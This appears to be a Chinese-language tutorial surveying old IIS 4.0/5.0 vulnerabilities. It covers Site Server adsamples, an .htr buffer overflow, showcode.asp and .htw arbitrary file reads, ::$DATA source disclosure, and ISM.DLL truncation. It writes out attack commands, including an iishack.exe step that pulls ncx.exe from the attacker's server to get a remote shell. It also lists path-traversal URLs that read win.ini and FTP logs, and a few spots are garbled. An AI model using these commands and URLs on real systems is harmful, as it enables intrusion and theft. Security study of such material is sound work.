IIS的常见漏洞分析大汇总
(6)、NT Site Server Adsamples 漏洞
通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:
"http://www.目标机.com/adsamples/config/site.csc"
(7)、IIS HACK
有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点http://www.technotronic.com中去下...??一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
c:\>iishack.exe <目标机> 80 <你的WEB服务器>/ncx.exe
然后你就使用netcat来连接你要检测的服务器:c:\>nc <目标机> 80
如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
1、Codebrws.asp 和 Showcode.asp默认情况下不安装。
2、漏洞仅允许查看文件内容。
3、这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4、只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
5、攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:"http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp"你就可以查看到codebrws.asp的源代码了。你也可以使用showcode.asp来查看文件:"http://www.目标机.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini"
当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比WEB服务器差,如: "http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log"
(8)、webhits.dll & .htw
这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
"http://www.目标机.com/nosuchfile.htw"
如果你从服务器端获得如下信息:format of the QUERY_STRING is invalid这就表示你存在这个漏洞。
这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
攻击者可以使用如下的方法来访问系统中文件的内容:
"http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full"
就会在有此漏洞系统中win.ini文件的内容。
(9)、ASP Alternate Data Streams(::$DATA)
$DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,要查看一些.asp文件的内容,你可以请求如下的URL:
"http://www.目标机.com/default.asp::$DATA你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:http://focus.silversand.net/newsite/skill/ntfs.txt"
(10)、ISM.DLL 缓冲截断漏洞
这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。
"http://www.目标机.com/global.asa%20%20...<=230)global.asa.htr"